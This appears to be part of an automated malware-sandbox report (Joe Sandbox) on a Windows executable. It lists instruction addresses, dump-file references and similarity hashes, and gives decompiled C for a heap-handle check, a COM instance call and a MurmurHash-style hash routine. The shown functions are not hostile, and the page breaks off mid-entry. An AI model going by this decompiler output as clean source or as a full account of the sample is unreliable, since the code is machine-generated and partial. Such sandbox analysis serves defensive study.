                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004030f6
                                                                                                                                                                                                                                                                                                                                                      0x004032f4
                                                                                                                                                                                                                                                                                                                                                      0x004032f8
                                                                                                                                                                                                                                                                                                                                                      0x00403369
                                                                                                                                                                                                                                                                                                                                                      0x00403375
                                                                                                                                                                                                                                                                                                                                                      0x0040337a
                                                                                                                                                                                                                                                                                                                                                      0x0040337d
                                                                                                                                                                                                                                                                                                                                                      0x0040337d
                                                                                                                                                                                                                                                                                                                                                      0x00403381
                                                                                                                                                                                                                                                                                                                                                      0x0040338b
                                                                                                                                                                                                                                                                                                                                                      0x00403390
                                                                                                                                                                                                                                                                                                                                                      0x00403390
                                                                                                                                                                                                                                                                                                                                                      0x00403397
                                                                                                                                                                                                                                                                                                                                                      0x0040339c
                                                                                                                                                                                                                                                                                                                                                      0x0040339f
                                                                                                                                                                                                                                                                                                                                                      0x0040339f
                                                                                                                                                                                                                                                                                                                                                      0x004033a3
                                                                                                                                                                                                                                                                                                                                                      0x004033a3
                                                                                                                                                                                                                                                                                                                                                      0x004033a7
                                                                                                                                                                                                                                                                                                                                                      0x004033b1
                                                                                                                                                                                                                                                                                                                                                      0x004033b6
                                                                                                                                                                                                                                                                                                                                                      0x004033b6
                                                                                                                                                                                                                                                                                                                                                      0x004033bd
                                                                                                                                                                                                                                                                                                                                                      0x004033c2
                                                                                                                                                                                                                                                                                                                                                      0x004033c5
                                                                                                                                                                                                                                                                                                                                                      0x004033c5
                                                                                                                                                                                                                                                                                                                                                      0x004033c9
                                                                                                                                                                                                                                                                                                                                                      0x004033c9
                                                                                                                                                                                                                                                                                                                                                      0x004033cd
                                                                                                                                                                                                                                                                                                                                                      0x004033d7
                                                                                                                                                                                                                                                                                                                                                      0x004033dc
                                                                                                                                                                                                                                                                                                                                                      0x004033dc
                                                                                                                                                                                                                                                                                                                                                      0x004033e3
                                                                                                                                                                                                                                                                                                                                                      0x004033e8
                                                                                                                                                                                                                                                                                                                                                      0x004033eb
                                                                                                                                                                                                                                                                                                                                                      0x004033eb
                                                                                                                                                                                                                                                                                                                                                      0x004033ef
                                                                                                                                                                                                                                                                                                                                                      0x004033ef
                                                                                                                                                                                                                                                                                                                                                      0x004033f3
                                                                                                                                                                                                                                                                                                                                                      0x004033fd
                                                                                                                                                                                                                                                                                                                                                      0x00403402
                                                                                                                                                                                                                                                                                                                                                      0x00403402
                                                                                                                                                                                                                                                                                                                                                      0x00403409
                                                                                                                                                                                                                                                                                                                                                      0x0040340e
                                                                                                                                                                                                                                                                                                                                                      0x00403411
                                                                                                                                                                                                                                                                                                                                                      0x00403411
                                                                                                                                                                                                                                                                                                                                                      0x00403415
                                                                                                                                                                                                                                                                                                                                                      0x00403427
                                                                                                                                                                                                                                                                                                                                                      0x0040342a
                                                                                                                                                                                                                                                                                                                                                      0x0040342d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040342f
                                                                                                                                                                                                                                                                                                                                                      0x0040342f
                                                                                                                                                                                                                                                                                                                                                      0x0040342f
                                                                                                                                                                                                                                                                                                                                                      0x00403432
                                                                                                                                                                                                                                                                                                                                                      0x0040343a
                                                                                                                                                                                                                                                                                                                                                      0x0040344b
                                                                                                                                                                                                                                                                                                                                                      0x00403450
                                                                                                                                                                                                                                                                                                                                                      0x00403450
                                                                                                                                                                                                                                                                                                                                                      0x0040345e
                                                                                                                                                                                                                                                                                                                                                      0x00403463
                                                                                                                                                                                                                                                                                                                                                      0x00403466
                                                                                                                                                                                                                                                                                                                                                      0x00403466
                                                                                                                                                                                                                                                                                                                                                      0x00403421
                                                                                                                                                                                                                                                                                                                                                      0x00403421
                                                                                                                                                                                                                                                                                                                                                      0x00403424
                                                                                                                                                                                                                                                                                                                                                      0x00403424
                                                                                                                                                                                                                                                                                                                                                      0x0040346c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040346c
                                                                                                                                                                                                                                                                                                                                                      0x004032fa
                                                                                                                                                                                                                                                                                                                                                      0x004032fe
                                                                                                                                                                                                                                                                                                                                                      0x00403324
                                                                                                                                                                                                                                                                                                                                                      0x0040333b
                                                                                                                                                                                                                                                                                                                                                      0x0040335d
                                                                                                                                                                                                                                                                                                                                                      0x00403362
                                                                                                                                                                                                                                                                                                                                                      0x00403365
                                                                                                                                                                                                                                                                                                                                                      0x00403365
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403324
                                                                                                                                                                                                                                                                                                                                                      0x00403313
                                                                                                                                                                                                                                                                                                                                                      0x00403318
                                                                                                                                                                                                                                                                                                                                                      0x0040331b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040331b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00402f56
                                                                                                                                                                                                                                                                                                                                                      0x00402ef1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00402ef9
                                                                                                                                                                                                                                                                                                                                                      0x00402ec2
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 0-3916222277
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 210295c6f81fc25c5e82973d380997eba3f6289c4ba6bf18933f16d915133dac
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c5ec1caf585f9ca64df7fbeb8b776de6e2d702b7e54031eaf79812e28b84599b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 210295c6f81fc25c5e82973d380997eba3f6289c4ba6bf18933f16d915133dac
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9D124EB1D001099BCF14DF98D985AEFB7B9BB88305F14816DF909B7380D739AA41CBA5
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00408820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00408820(intOrPtr _a4) {
				void* _v1028;
				long _v1032;
				char _v1033;
				signed int _v1040;
				void* _t26;

				_v1033 = 0;
				_v1032 = GetProcessHeaps(0xff,  &_v1028);
				if(_v1032 != 0 && _v1032 < 0x100) {
					_v1040 = 0;
					while(_v1040 < _v1032) {
						if( *((intOrPtr*)(_t26 + _v1040 * 4 - 0x400)) != _a4) {
							_v1040 = _v1040 + 1;
							continue;
						} else {
							_v1033 = 1;
						}
						goto L8;
					}
				}
				L8:
				return _v1033;
			}








                                                                                                                                                                                                                                                                                                                                                      0x00408829
                                                                                                                                                                                                                                                                                                                                                      0x00408842
                                                                                                                                                                                                                                                                                                                                                      0x0040884f
                                                                                                                                                                                                                                                                                                                                                      0x0040885d
                                                                                                                                                                                                                                                                                                                                                      0x00408878
                                                                                                                                                                                                                                                                                                                                                      0x00408896
                                                                                                                                                                                                                                                                                                                                                      0x00408872
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00408898
                                                                                                                                                                                                                                                                                                                                                      0x00408898
                                                                                                                                                                                                                                                                                                                                                      0x00408898
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00408896
                                                                                                                                                                                                                                                                                                                                                      0x00408878
                                                                                                                                                                                                                                                                                                                                                      0x004088a3
                                                                                                                                                                                                                                                                                                                                                      0x004088ac

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040883C
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: HeapsProcess
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1420622215-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 398c00615c73b9a85a2b98cb4f2c7559d965eb21afa17a522cad4f920a78b4b0
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2acca38cbc4060d71a051150d25e52ae1a8a86d3610dffda77462ea4c990c24d
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 398c00615c73b9a85a2b98cb4f2c7559d965eb21afa17a522cad4f920a78b4b0
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 14011AF5904118CAEB209B54DE847A9B774AF84304F4481EAD749762C1C6785EC68F4E
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405830 Relevance: 1.5, APIs: 1, Instructions: 23comCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00405850
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateInstance
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 542301482-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: da777ad2c589ccac1ecc52902b1ec079aa4940ecc1d89ce1cf552fd91b3e476d
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f616d4b88d62865cd1935f1b89934bfa1df8436fde2754d0f7f5a8b0b80b7a3b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: da777ad2c589ccac1ecc52902b1ec079aa4940ecc1d89ce1cf552fd91b3e476d
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A5E0ED7590020CFFDF00DF90C889BDEBBB8EB04715F10C1A9EA0467280D7B55A94CB95
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00408E90 Relevance: .4, Instructions: 371COMMONCrypto
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 89%
                                                                                                                                                                                                                                                                                                                                                      			E00408E90(signed int __edx, intOrPtr _a4, signed int _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				signed char* _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _t306;
				signed int _t336;
				void* _t502;

				_v72 = 0;
				_v60 = _a4;
				asm("cdq");
				_v36 = _a8 + (__edx & 0x0000000f) >> 4;
				_v20 = 0;
				_v8 = 0;
				_v48 = 0;
				_v40 = 0;
				_v24 = 0x239b961b;
				_v32 = 0xab0e9789;
				_v16 = 0x38b34ae5;
				_v64 = 0xa1e38b93;
				_v44 = (_v36 << 4) + _v60;
				_v76 =  ~_v36;
				while(_v76 != 0) {
					_v92 = E00408CD0(_v44, _v76 << 2);
					_v88 = E00408CD0(_v44, 1 + _v76 * 4);
					_v84 = E00408CD0(_v44, 2 + _v76 * 4);
					_t336 = E00408CD0(_v44, 3 + _v76 * 4);
					_t502 = _t502 + 0x20;
					_v80 = _t336;
					_v92 = _v92 * 0x239b961b;
					asm("rol ecx, 0xf");
					_v92 = _v92 * 0xab0e9789;
					_v20 = _v20 ^ _v92;
					asm("rol ecx, 0x13");
					_v20 = _v20 + _v8;
					_v20 = 0x561ccd1b + _v20 * 5;
					_v88 = _v88 * 0xab0e9789;
					asm("rol edx, 0x10");
					_v88 = _v88 * 0x38b34ae5;
					_v8 = _v8 ^ _v88;
					asm("rol edx, 0x11");
					_v8 = _v8 + _v48;
					_v8 = 0xbcaa747 + _v8 * 5;
					_v84 = _v84 * 0x38b34ae5;
					asm("rol eax, 0x11");
					_v84 = _v84 * 0xa1e38b93;
					_v48 = _v48 ^ _v84;
					asm("rol eax, 0xf");
					_v48 = _v48 + _v40;
					_v48 = _v48 * 5 - 0x6932e3cb;
					_v80 = _v80 * 0xa1e38b93;
					asm("rol ecx, 0x12");
					_v80 = _v80 * 0x239b961b;
					_v40 = _v40 ^ _v80;
					asm("rol ecx, 0xd");
					_v40 = _v40 + _v20;
					_v40 = 0x32ac3b17 + _v40 * 5;
					_v76 = _v76 + 1;
				}
				_v28 = (_v36 << 4) + _v60;
				_v68 = 0;
				_v56 = 0;
				_v52 = 0;
				_v12 = 0;
				_v96 = _a8 & 0x0000000f;
				_v96 = _v96 - 1;
				if(_v96 <= 0xe) {
					switch( *((intOrPtr*)(_v96 * 4 +  &M00409374))) {
						case 0:
							L20:
							_v68 =  *_v28 & 0x000000ff ^ _v68;
							_v68 = _v68 * 0x239b961b;
							asm("rol eax, 0xf");
							_v68 = _v68 * 0xab0e9789;
							_v20 = _v20 ^ _v68;
							goto L21;
						case 1:
							L19:
							_v68 = (_v28[1] & 0x000000ff) << 0x00000008 ^ _v68;
							goto L20;
						case 2:
							L18:
							_v68 = (_v28[2] & 0x000000ff) << 0x00000010 ^ _v68;
							goto L19;
						case 3:
							L17:
							_v68 = (_v28[3] & 0x000000ff) << 0x00000018 ^ _v68;
							goto L18;
						case 4:
							L16:
							_v56 = _v28[4] & 0x000000ff ^ _v56;
							_v56 = _v56 * 0xab0e9789;
							asm("rol eax, 0x10");
							_v56 = _v56 * 0x38b34ae5;
							_v8 = _v8 ^ _v56;
							goto L17;
						case 5:
							L15:
							_v56 = (_v28[5] & 0x000000ff) << 0x00000008 ^ _v56;
							goto L16;
						case 6:
							L14:
							_v56 = (_v28[6] & 0x000000ff) << 0x00000010 ^ _v56;
							goto L15;
						case 7:
							L13:
							_v56 = (_v28[7] & 0x000000ff) << 0x00000018 ^ _v56;
							goto L14;
						case 8:
							L12:
							_v52 = _v28[8] & 0x000000ff ^ _v52;
							_v52 = _v52 * 0x38b34ae5;
							asm("rol eax, 0x11");
							_v52 = _v52 * 0xa1e38b93;
							_v48 = _v48 ^ _v52;
							goto L13;
						case 9:
							L11:
							_v52 = (_v28[9] & 0x000000ff) << 0x00000008 ^ _v52;
							goto L12;
						case 0xa:
							L10:
							_v52 = (_v28[0xa] & 0x000000ff) << 0x00000010 ^ _v52;
							goto L11;
						case 0xb:
							L9:
							_v52 = (_v28[0xb] & 0x000000ff) << 0x00000018 ^ _v52;
							goto L10;
						case 0xc:
							L8:
							_v12 = _v28[0xc] & 0x000000ff ^ _v12;
							_v12 = _v12 * 0xa1e38b93;
							asm("rol eax, 0x12");
							_v12 = _v12 * 0x239b961b;
							_v40 = _v40 ^ _v12;
							goto L9;
						case 0xd:
							L7:
							_v12 = (_v28[0xd] & 0x000000ff) << 0x00000008 ^ _v12;
							goto L8;
						case 0xe:
							_v12 = (_v28[0xe] & 0x000000ff) << 0x00000010 ^ _v12;
							goto L7;
					}
				}
				L21:
				_v20 = _v20 ^ _a8;
				_v8 = _v8 ^ _a8;
				_v48 = _v48 ^ _a8;
				_v40 = _v40 ^ _a8;
				_v20 = _v20 + _v8;
				_v20 = _v20 + _v48;
				_v20 = _v20 + _v40;
				_v8 = _v8 + _v20;
				_v48 = _v48 + _v20;
				_v40 = _v40 + _v20;
				_v20 = E00408CE0(_v20);
				_v8 = E00408CE0(_v8);
				_v48 = E00408CE0(_v48);
				_v40 = E00408CE0(_v40);
				_v20 = _v20 + _v8;
				_v20 = _v20 + _v48;
				_v20 = _v20 + _v40;
				_v8 = _v8 + _v20;
				_v48 = _v48 + _v20;
				_v40 = _v40 + _v20;
				 *_a12 = _v20;
				_a12[1] = _v8;
				_a12[2] = _v48;
				_t306 = _v40;
				_a12[3] = _t306;
				return _t306;
			}





























                                                                                                                                                                                                                                                                                                                                                      0x00408e96
                                                                                                                                                                                                                                                                                                                                                      0x00408ea0
                                                                                                                                                                                                                                                                                                                                                      0x00408ea6
                                                                                                                                                                                                                                                                                                                                                      0x00408eaf
                                                                                                                                                                                                                                                                                                                                                      0x00408eb2
                                                                                                                                                                                                                                                                                                                                                      0x00408eb9
                                                                                                                                                                                                                                                                                                                                                      0x00408ec0
                                                                                                                                                                                                                                                                                                                                                      0x00408ec7
                                                                                                                                                                                                                                                                                                                                                      0x00408ece
                                                                                                                                                                                                                                                                                                                                                      0x00408ed5
                                                                                                                                                                                                                                                                                                                                                      0x00408edc
                                                                                                                                                                                                                                                                                                                                                      0x00408ee3
                                                                                                                                                                                                                                                                                                                                                      0x00408ef3
                                                                                                                                                                                                                                                                                                                                                      0x00408efb
                                                                                                                                                                                                                                                                                                                                                      0x00408f09
                                                                                                                                                                                                                                                                                                                                                      0x00408f26
                                                                                                                                                                                                                                                                                                                                                      0x00408f40
                                                                                                                                                                                                                                                                                                                                                      0x00408f5a
                                                                                                                                                                                                                                                                                                                                                      0x00408f6c
                                                                                                                                                                                                                                                                                                                                                      0x00408f71
                                                                                                                                                                                                                                                                                                                                                      0x00408f74
                                                                                                                                                                                                                                                                                                                                                      0x00408f80
                                                                                                                                                                                                                                                                                                                                                      0x00408f86
                                                                                                                                                                                                                                                                                                                                                      0x00408f95
                                                                                                                                                                                                                                                                                                                                                      0x00408f9e
                                                                                                                                                                                                                                                                                                                                                      0x00408fa4
                                                                                                                                                                                                                                                                                                                                                      0x00408fb0
                                                                                                                                                                                                                                                                                                                                                      0x00408fbe
                                                                                                                                                                                                                                                                                                                                                      0x00408fca
                                                                                                                                                                                                                                                                                                                                                      0x00408fd0
                                                                                                                                                                                                                                                                                                                                                      0x00408fdf
                                                                                                                                                                                                                                                                                                                                                      0x00408fe8
                                                                                                                                                                                                                                                                                                                                                      0x00408fee
                                                                                                                                                                                                                                                                                                                                                      0x00408ffa
                                                                                                                                                                                                                                                                                                                                                      0x00409009
                                                                                                                                                                                                                                                                                                                                                      0x00409015
                                                                                                                                                                                                                                                                                                                                                      0x0040901b
                                                                                                                                                                                                                                                                                                                                                      0x0040902a
                                                                                                                                                                                                                                                                                                                                                      0x00409033
                                                                                                                                                                                                                                                                                                                                                      0x00409039
                                                                                                                                                                                                                                                                                                                                                      0x00409045
                                                                                                                                                                                                                                                                                                                                                      0x00409054
                                                                                                                                                                                                                                                                                                                                                      0x00409060
                                                                                                                                                                                                                                                                                                                                                      0x00409066
                                                                                                                                                                                                                                                                                                                                                      0x00409075
                                                                                                                                                                                                                                                                                                                                                      0x0040907e
                                                                                                                                                                                                                                                                                                                                                      0x00409084
                                                                                                                                                                                                                                                                                                                                                      0x00409090
                                                                                                                                                                                                                                                                                                                                                      0x0040909e
                                                                                                                                                                                                                                                                                                                                                      0x00408f06
                                                                                                                                                                                                                                                                                                                                                      0x00408f06
                                                                                                                                                                                                                                                                                                                                                      0x004090af
                                                                                                                                                                                                                                                                                                                                                      0x004090b2
                                                                                                                                                                                                                                                                                                                                                      0x004090b9
                                                                                                                                                                                                                                                                                                                                                      0x004090c0
                                                                                                                                                                                                                                                                                                                                                      0x004090c7
                                                                                                                                                                                                                                                                                                                                                      0x004090d4
                                                                                                                                                                                                                                                                                                                                                      0x004090dd
                                                                                                                                                                                                                                                                                                                                                      0x004090e4
                                                                                                                                                                                                                                                                                                                                                      0x004090ed
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409249
                                                                                                                                                                                                                                                                                                                                                      0x00409252
                                                                                                                                                                                                                                                                                                                                                      0x0040925e
                                                                                                                                                                                                                                                                                                                                                      0x00409264
                                                                                                                                                                                                                                                                                                                                                      0x00409273
                                                                                                                                                                                                                                                                                                                                                      0x0040927c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409239
                                                                                                                                                                                                                                                                                                                                                      0x00409246
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409229
                                                                                                                                                                                                                                                                                                                                                      0x00409236
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409219
                                                                                                                                                                                                                                                                                                                                                      0x00409226
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004091e2
                                                                                                                                                                                                                                                                                                                                                      0x004091ec
                                                                                                                                                                                                                                                                                                                                                      0x004091f8
                                                                                                                                                                                                                                                                                                                                                      0x004091fe
                                                                                                                                                                                                                                                                                                                                                      0x0040920d
                                                                                                                                                                                                                                                                                                                                                      0x00409216
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004091d2
                                                                                                                                                                                                                                                                                                                                                      0x004091df
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004091c2
                                                                                                                                                                                                                                                                                                                                                      0x004091cf
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004091b2
                                                                                                                                                                                                                                                                                                                                                      0x004091bf
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040917b
                                                                                                                                                                                                                                                                                                                                                      0x00409185
                                                                                                                                                                                                                                                                                                                                                      0x00409191
                                                                                                                                                                                                                                                                                                                                                      0x00409197
                                                                                                                                                                                                                                                                                                                                                      0x004091a6
                                                                                                                                                                                                                                                                                                                                                      0x004091af
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040916b
                                                                                                                                                                                                                                                                                                                                                      0x00409178
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040915b
                                                                                                                                                                                                                                                                                                                                                      0x00409168
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040914b
                                                                                                                                                                                                                                                                                                                                                      0x00409158
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409114
                                                                                                                                                                                                                                                                                                                                                      0x0040911e
                                                                                                                                                                                                                                                                                                                                                      0x0040912a
                                                                                                                                                                                                                                                                                                                                                      0x00409130
                                                                                                                                                                                                                                                                                                                                                      0x0040913f
                                                                                                                                                                                                                                                                                                                                                      0x00409148
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409104
                                                                                                                                                                                                                                                                                                                                                      0x00409111
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409101
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004090ed
                                                                                                                                                                                                                                                                                                                                                      0x0040927f
                                                                                                                                                                                                                                                                                                                                                      0x00409285
                                                                                                                                                                                                                                                                                                                                                      0x0040928e
                                                                                                                                                                                                                                                                                                                                                      0x00409297
                                                                                                                                                                                                                                                                                                                                                      0x004092a0
                                                                                                                                                                                                                                                                                                                                                      0x004092a9
                                                                                                                                                                                                                                                                                                                                                      0x004092b2
                                                                                                                                                                                                                                                                                                                                                      0x004092bb
                                                                                                                                                                                                                                                                                                                                                      0x004092c4
                                                                                                                                                                                                                                                                                                                                                      0x004092cd
                                                                                                                                                                                                                                                                                                                                                      0x004092d6
                                                                                                                                                                                                                                                                                                                                                      0x004092e5
                                                                                                                                                                                                                                                                                                                                                      0x004092f4
                                                                                                                                                                                                                                                                                                                                                      0x00409303
                                                                                                                                                                                                                                                                                                                                                      0x00409312
                                                                                                                                                                                                                                                                                                                                                      0x0040931b
                                                                                                                                                                                                                                                                                                                                                      0x00409324
                                                                                                                                                                                                                                                                                                                                                      0x0040932d
                                                                                                                                                                                                                                                                                                                                                      0x00409336
                                                                                                                                                                                                                                                                                                                                                      0x0040933f
                                                                                                                                                                                                                                                                                                                                                      0x00409348
                                                                                                                                                                                                                                                                                                                                                      0x00409351
                                                                                                                                                                                                                                                                                                                                                      0x00409359
                                                                                                                                                                                                                                                                                                                                                      0x00409362
                                                                                                                                                                                                                                                                                                                                                      0x00409368
                                                                                                                                                                                                                                                                                                                                                      0x0040936b
                                                                                                                                                                                                                                                                                                                                                      0x00409371

                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
